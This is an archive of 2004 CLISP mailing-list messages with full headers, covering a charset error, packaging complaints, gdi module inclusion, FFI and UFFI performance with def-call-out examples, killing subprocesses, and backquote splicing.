Tue Sep 14 06:53:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C7Djw-0006N8-Vo for clisp-list@lists.sourceforge.net; Tue, 14 Sep 2004 06:53:00 -0700 Received: from smartmx-07.inode.at ([213.229.60.39]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.34) id 1C7Dju-00089N-8x for clisp-list@lists.sourceforge.net; Tue, 14 Sep 2004 06:53:00 -0700 Received: from [62.99.252.218] (port=62639 helo=[192.168.0.2]) by smartmx-07.inode.at with esmtp (Exim 4.30) id 1C7Djr-0004YX-Pd for clisp-list@lists.sf.net; Tue, 14 Sep 2004 15:52:56 +0200 Message-ID: <4146F7B7.9080108@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sf.net Subject: SOLVED Re: [clisp-list] invalid byte #.. in CHARSET References: <4146E9E6.8010107@x-ray.at> In-Reply-To: <4146E9E6.8010107@x-ray.at> Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 14 06:53:14 2004 X-Original-Date: Tue, 14 Sep 2004 15:52:55 +0200 Reini Urban schrieb: > I have a cygwin charset encoding problem at defsystem 3. > Maybe it's an clocc problem. I fixed the problem. ~/lisp (i.e. "H:\lisp") was pointing to my autolisp tree, which had somewhere deep below a subdirectory named "#". I renamed ~/lisp to ~/alisp and it works fine now. > *** - invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16 -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@gnu.org Tue Sep 14 13:13:05 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C7Jfj-0006Ht-JF for clisp-list@lists.sourceforge.net; Tue, 14 Sep 2004 13:13:03 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C7Jfi-0000ar-25 for clisp-list@lists.sourceforge.net; Tue, 14 Sep 2004 13:13:03 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i8EKCrt5010191; Tue, 14 Sep 2004 16:12:53 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Reini Urban Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4146F7B7.9080108@x-ray.at> (Reini Urban's message of "Tue, 14 Sep 2004 15:52:55 +0200") References: <4146E9E6.8010107@x-ray.at> <4146F7B7.9080108@x-ray.at> Mail-Followup-To: clisp-list@lists.sourceforge.net, Reini Urban Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: SOLVED Re: invalid byte #.. in CHARSET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 14 13:14:00 2004 X-Original-Date: Tue, 14 Sep 2004 16:12:53 -0400 > * Reini Urban [2004-09-14 15:52:55 +0200]: > > Reini Urban schrieb: >> I have a cygwin charset encoding problem at defsystem 3. >> Maybe it's an clocc problem. > > I fixed the problem. > ~/lisp (i.e. "H:\lisp") was pointing to my autolisp tree, > which had somewhere deep below a subdirectory named "#". > > I renamed ~/lisp to ~/alisp and it works fine now. So this is an artifact of the *load-path* problem Joerg complained about... I will add a note to the FAQ. -- Sam Steingold (http://www.podval.org/~sds) running w2k Microsoft: announce yesterday, code today, think tomorrow. From lin8080@freenet.de Thu Sep 16 02:49:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C7sss-00036G-Og for clisp-list@lists.sourceforge.net; Thu, 16 Sep 2004 02:48:58 -0700 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1C7ssr-0004pk-Id for clisp-list@lists.sourceforge.net; Thu, 16 Sep 2004 02:48:58 -0700 Received: from [194.97.55.191] (helo=mx7.freenet.de) by mout2.freenet.de with esmtpa (Exim 4.42) id 1C7sso-0006zD-OS for clisp-list@lists.sourceforge.net; Thu, 16 Sep 2004 11:48:54 +0200 Received: from be7be.b.pppool.de ([213.7.231.190] helo=freenet.de) by mx7.freenet.de with esmtpsa (ID lin8080@freenet.de) (SSLv3:RC4-MD5:128) (Exim 4.42 #1) id 1C7ssn-0005lS-ET for clisp-list@lists.sourceforge.net; Thu, 16 Sep 2004 11:48:54 +0200 Message-ID: <41495A06.4C5343BA@freenet.de> From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW03244 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] reporting with comments References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 16 02:49:16 2004 X-Original-Date: Thu, 16 Sep 2004 11:16:54 +0200 Hallo Running Aurox 9.4 (red-hat clone) with amd-550-cpu on a gigabyte-board with ali-chipset and 128mb ram. Some scsi hds to keep things easy. Found on suse 8.2 dvd a clisp-2.30-36.i586.rpm and installed it. It say: libcrypto.so.0.9.6 and libssl.so.o.0.6 is needed. (else NOKEY, KeyID 9c800aca, when important). But it installs without this and runs by typing clisp in the console-windows from kde 3.2. (As I also tested other linux-systems with cl, all want some extra software files in order to run correct, (suse 7.3 with cl2.28 over 100 - record) only rpms that comes with the distribution will not do so) Now. Searching for clisp components in a linux os shows, the installed files are mixed (will not say wildly) among the systems usualy install paths. Docs, executable, .rc initfile, newclx, impnotes and at least a gz hyperspec (seperat), (.. scripts, other modules and what else a user may create) all stored in different paths. Doing the same with win98, (download the 2.30.zip from sourceforge in May04) the install needs a dll-file (wldap32.dll?) and a start.bat (which creates a start.pif) and it works (even without cygwin and co.). The point is, I can place all in one folder, where I want. (by default, also I do that with gcl.rpm (2.6 newest), and no, I never compile anything, this is too horrible and time-invest is not so profitable for me) Look arround in the Linux distris and see, how it is handeled different. See forward and note, more versions will come up. And this leads me to type this mail. (of course I say it 3 times stronger, to make my point clear) Clisp is a seperat software, it is not part of the linux world - but linux can be part of the cl-world. You can see, on a linux os clisp runs out of order and is easyly mixed nearly everywhere. This is not, what I mean is good for clisp. You may think about this and hopfuly do something ... (sure, there are links and pipes and gagaga) My wish is to keep cl-parts together as stand-alone software. This is not only win and linux, there are coming up 64-bit versions, rumors about lisp-os going on, amiga-version in the past, some apple portables, interactions with other soft-packages and what ever the future will make or a user will do. When I type here, there is an other sensible part I want to point out. Look in the history files of new cl-versions. Present for me is back to 1999, (2.24). Every update I saw the sentence: "... need to compile old fas files for the new version..." Come on, is that realy neccesarry? Please write a small routine in the next update that informs the user that he/she is loading an older version fas file and spend a 'recompile (yes-no)' to it. (sounds easy...) stefan repeat reading readmes till next update is comming :) From rurban@x-ray.at Thu Sep 16 09:09:39 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C7ypG-0005eA-88 for clisp-list@lists.sourceforge.net; Thu, 16 Sep 2004 09:09:38 -0700 Received: from smartmx-02.inode.at ([213.229.60.34]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.34) id 1C7ypE-0000Mf-Oo for clisp-list@lists.sourceforge.net; Thu, 16 Sep 2004 09:09:38 -0700 Received: from [62.99.252.218] (port=63605 helo=[192.168.0.2]) by smartmx-02.inode.at with esmtp (Exim 4.30) id 1C7ypB-0007oX-8n for clisp-list@lists.sourceforge.net; Thu, 16 Sep 2004 18:09:33 +0200 Message-ID: <4149BABC.1070704@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] gdi inclusion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 16 09:10:12 2004 X-Original-Date: Thu, 16 Sep 2004 18:09:32 +0200 Dan has become quite silent in gdi, another job, I know. But wouldn't it be useful to add it into the list of supported modules? Dan has some paragraph about this in his latest distro. esp. for the binary builds it would be very convenient to have it included. When I think of clx and other stone-aged modules there ... sooner or later jörg's dynamic ffi (new uffi.lisp pending) can be used to call the winapi, but having them in stone is much more convenient. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From Joerg-Cyril.Hoehle@t-systems.com Fri Sep 17 01:26:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C8E4L-0002oQ-8J for clisp-list@lists.sourceforge.net; Fri, 17 Sep 2004 01:26:13 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C8E4J-0004CL-Nn for clisp-list@lists.sourceforge.net; Fri, 17 Sep 2004 01:26:13 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 17 Sep 2004 10:24:14 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 17 Sep 2004 10:24:22 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03018F93E9@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: rurban@x-ray.at Subject: Re: [clisp-list] gdi inclusion MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 17 01:27:12 2004 X-Original-Date: Fri, 17 Sep 2004 10:24:20 +0200 Reini, BTW, is somebody using :language :stdc-stdcall on MS-Windows?? I see it in every definition in CormanLisp examples, but I don't have = it seen yet in CLISP code written by users or developers. As far as including Dan's gdi into the core distribution, that's fine = with me :-) >sooner or later j=F6rg's dynamic ffi (new uffi.lisp pending) can be = used=20 >to call the winapi, but having them in stone is much more convenient. dynamic FFI and UFFI are different things. The dynamic FFI (if you mean shared libraries) is there in CVS (and = maybe also the last release?). You can use def-call-out (:library = "fooname/path"). Sam has started adding modules/bindings/win32.lisp which contains some = functions of kernel32.dll or whatever he feels the need to add. It's in = CVS (quite small right now). You may wish to contribute to that. I wouldn't count on UFFI to call the winapi. Why do you? What do you = expect? I cannot guarantee that using UFFI won't introduce even more run-time = overhead (make things slower). As an example, clsql has lots of (let ((info-ptr (allocate-foreign-string 1024)))=20 (with-foreign-object (info-length-ptr :short) ... (SQLGetInfo hdbc info-type info-ptr 1023 info-length-ptr) (let ((info (convert-from-foreign-string info-ptr))) (free-foreign-object info-ptr) Ever read performance benchmarks all showing how slow malloc() is? As the function is always called with the same buffer size, it would be = much more efficient and also convenient in CLISP to write it using :out = parameters as: (ffi:def-call-out SQLGetInfo-string (:name "SQLGetInfo") (:library "odbc32.dll") (:language :stdc-stdcall) (:arguments (hdbc ffi:c-pointer) (finfotype ffi:sint16) (rgbinfovalue (c-ptr (c-array-max character 1024)) :out) (cbinfovaluemax ffi:sint16) ;pass 1023 (*pcbinfovalue (c-ptr sint16) :out)) (:return-type ffi:sint16)) call (SQLGetInfo hdbc info-type 1023) and extract string (using nth-value) (ffi:def-call-out SQLGetInfo-short (:name "SQLGetInfo") (:library "odbc32.dll") (:language :stdc-stdcall) (:arguments (hdbc ffi:c-pointer) (finfotype ffi:sint16) (rgbinfovalue (c-ptr sint16) :out) (cbinfovaluemax ffi:sint16) ;pass (sizeof 'sint16) (*pcbinfovalue (c-ptr sint16) :out)) (:return-type ffi:sint16)) call (SQLGetInfo hdbc info-type (ffi:sizeof 'sint16)) and extract short value (using nth-value again) (def-call-cout SQLGetInfo-long ...) ;same exercise, use (load-time-value (ffi:sizeof '#.$ODBC-LONG-TYPE)) or just #.(ffi:sizeof '$ODBC-LONG-TYPE) [Actually, load-time-value is much, much better than #.(sizeof #), = because it may allow you to use the same .fas files across different = machines if you're careful -- (sizeof 'int) depends on the run-time = CLISP, not the compilation environment. And load-time-value is = efficient as well.] UFFI must go through either foreign-allocate or with-foreign-object, = and both mean overhead. How much depends on the application. When I have time, I'd like to compare pgsql.lisp with clsql-postgresql = and clsql-postgresql-socket speed wise in CLISP. It's likely to yield different speed ratios than native-code compilers. Regards, J=F6rg H=F6hle From rurban@x-ray.at Fri Sep 17 08:01:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C8KFH-00085U-Pk for clisp-list@lists.sourceforge.net; Fri, 17 Sep 2004 08:01:55 -0700 Received: from smartmx-03.inode.at ([213.229.60.35]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.34) id 1C8KFH-0005wB-0F for clisp-list@lists.sourceforge.net; Fri, 17 Sep 2004 08:01:55 -0700 Received: from [62.99.252.218] (port=63259 helo=[192.168.0.2]) by smartmx-03.inode.at with esmtp (Exim 4.30) id 1C8KFE-0008T9-An for clisp-list@lists.sourceforge.net; Fri, 17 Sep 2004 17:01:52 +0200 Message-ID: <414AFC5F.30009@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] gdi inclusion References: <5F9130612D07074EB0A0CE7E69FD7A03018F93E9@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03018F93E9@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 17 08:02:20 2004 X-Original-Date: Fri, 17 Sep 2004 17:01:51 +0200 Hoehle, Joerg-Cyril schrieb: > BTW, is somebody using :language :stdc-stdcall on MS-Windows?? > I see it in every definition in CormanLisp examples, but I don't have > it seen yet in CLISP code written by users or developers. because it's in only used in the WinAPI. don't know of any useful pascal dll's :) And the WinAPI coverage is quite ok with the static gdi and win32 bindings. > As far as including Dan's gdi into the core distribution, that's fine with me :-) good! >>sooner or later jörg's dynamic ffi (new uffi.lisp pending) can be used >>to call the winapi, but having them in stone is much more convenient. > >dynamic FFI and UFFI are different things. >The dynamic FFI (if you mean shared libraries) is there in CVS (and maybe also >the last release?). You can use def-call-out (:library "fooname/path"). > Sam has started adding modules/bindings/win32.lisp which contains > some functions of kernel32.dll or whatever he feels the need to add. It's in > CVS (quite small right now). > You may wish to contribute to that. Not enough time, sorry. I wanted to try out garnet for some demo also. > I wouldn't count on UFFI to call the winapi. Why do you? What do you expect? > I cannot guarantee that using UFFI won't introduce even more run-time overhead (make things slower). Slowness is not the problem. To make it fast just link it. > As an example, clsql has lots of > (let ((info-ptr (allocate-foreign-string 1024))) > (with-foreign-object (info-length-ptr :short) > ... > (SQLGetInfo hdbc info-type info-ptr 1023 info-length-ptr) > (let ((info (convert-from-foreign-string info-ptr))) > (free-foreign-object info-ptr) > Ever read performance benchmarks all showing how slow malloc() is? I don't care that much about temp. malloc'ed heap space, compared to the native advantages. it should just work. :) local optimizations later. of course :out is much better. but thanks for the nice examples! >As the function is always called with the same buffer size, it >would be much more efficient and also convenient in CLISP to write >it using :out parameters as: > (ffi:def-call-out SQLGetInfo-string (:name "SQLGetInfo") > (:library "odbc32.dll") (:language :stdc-stdcall) > (:arguments > (hdbc ffi:c-pointer) > (finfotype ffi:sint16) > (rgbinfovalue (c-ptr (c-array-max character 1024)) :out) > (cbinfovaluemax ffi:sint16) ;pass 1023 > (*pcbinfovalue (c-ptr sint16) :out)) > (:return-type ffi:sint16)) > > call (SQLGetInfo hdbc info-type 1023) > and extract string (using nth-value) > > (ffi:def-call-out SQLGetInfo-short (:name "SQLGetInfo") > (:library "odbc32.dll") (:language :stdc-stdcall) > (:arguments > (hdbc ffi:c-pointer) > (finfotype ffi:sint16) > (rgbinfovalue (c-ptr sint16) :out) > (cbinfovaluemax ffi:sint16) ;pass (sizeof 'sint16) > (*pcbinfovalue (c-ptr sint16) :out)) > (:return-type ffi:sint16)) > call (SQLGetInfo hdbc info-type (ffi:sizeof 'sint16)) > and extract short value (using nth-value again) > > (def-call-cout SQLGetInfo-long ...) > ;same exercise, use (load-time-value (ffi:sizeof '#.$ODBC-LONG-TYPE)) > or just #.(ffi:sizeof '$ODBC-LONG-TYPE) > >[Actually, load-time-value is much, much better than #.(sizeof #), >because it may allow you to use the same .fas files across different >machines if you're careful -- (sizeof 'int) depends on the run-time >CLISP, not the compilation environment. And load-time-value is efficient >as well.] > UFFI must go through either foreign-allocate or with-foreign-object, and both mean overhead. How much depends on the application. well, you could pre-allocate the foreign buffers advance. the real problem is, if the foreign objects persist when loading a image. that's why we have the static bindings to postgresql :) we don't have to care. > When I have time, I'd like to compare pgsql.lisp with clsql-postgresql and clsql-postgresql-socket speed wise in CLISP. > It's likely to yield different speed ratios than native-code compilers. that's fine. I haven't considered ken's uffi2 motivations and problems yet. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From dan.stanger@ieee.org Sat Sep 18 19:23:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C8rMZ-0007bE-SV for clisp-list@lists.sourceforge.net; Sat, 18 Sep 2004 19:23:39 -0700 Received: from extsmtp1.localnet.com ([207.251.201.55]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1C8rMY-0002oe-Qq for clisp-list@lists.sourceforge.net; Sat, 18 Sep 2004 19:23:39 -0700 Received: (qmail 31538 invoked from network); 19 Sep 2004 01:46:20 -0000 Received: from drballew.localnet.sys (HELO smtp2.localnet.com) (10.0.7.15) by extsmtp1.localnet.com with SMTP; 19 Sep 2004 01:46:20 -0000 Received: (qmail 31500 invoked from network); 19 Sep 2004 02:23:30 -0000 Received: from unknown (HELO ieee.org) (66.153.68.45) by mail1.localnet.com with SMTP; 19 Sep 2004 02:23:30 -0000 Message-ID: <414CED9E.2C2BF75E@ieee.org> From: Donna and Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.8 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] gdi inclusion References: <4149BABC.1070704@x-ray.at> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Sep 18 19:24:08 2004 X-Original-Date: Sat, 18 Sep 2004 22:23:26 -0400 I am sorry that I have been unable to do any work on the gdi module, but with a new job and moving 3 times in the last year and a half, and buying a house, I haven't had much time for anything. The last work I did on gdi was to try to use clisp.h instead of lispbibl.d, and to fix some errors. The last time I tried to build it, it did not compile, as clisp.h had some missing definitions. I would be happy to give this work to someone else, who has the time to work on it. Dan Stanger From don-test-204@isis.cs3-inc.com Mon Sep 20 09:25:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9Qyi-0001ix-7a for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 09:25:24 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1C9Qyh-0003C5-J7 for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 09:25:24 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i8KGMCD28155 for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 09:22:12 -0700 Message-Id: <200409201622.i8KGMCD28155@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-test-204 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-test-204@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] how to kill a program started from lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 09:26:07 2004 X-Original-Date: Mon, 20 Sep 2004 09:22:12 -0700 I see that run-program with wait nil returns up to three streams, but no process id that could be used to kill it. Is there a recommended procedure? From rurban@x-ray.at Mon Sep 20 09:47:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9RKW-0006XG-Lm for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 09:47:56 -0700 Received: from smartmx-01.inode.at ([213.229.60.33]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1C9RKW-00073u-0t for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 09:47:56 -0700 Received: from [62.99.252.218] (port=63890 helo=[192.168.0.2]) by smartmx-01.inode.at with esmtp (Exim 4.30) id 1C9RKS-0000M6-JR for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 18:47:52 +0200 Message-ID: <414F09B7.9080904@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] unquote splice Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 09:48:11 2004 X-Original-Date: Mon, 20 Sep 2004 18:47:51 +0200 I need the unquote-splice facility in the km reasoner. http://www.cs.utexas.edu/users/mfkb/km.html I've looked at http://users.footprints.net/~kaz/clisp-backquote-patch.html, which describes the patch, which changed the clisp behaviour. Sorry, but I forgot almost all of my macro knowledge. How to do call unquote-splice and friends in clisp now as macro/function? This is the KM assoc list, which will be applied on the various symbols: (defconstant *special-symbol-alist* '( (quote "'") (function "#'") 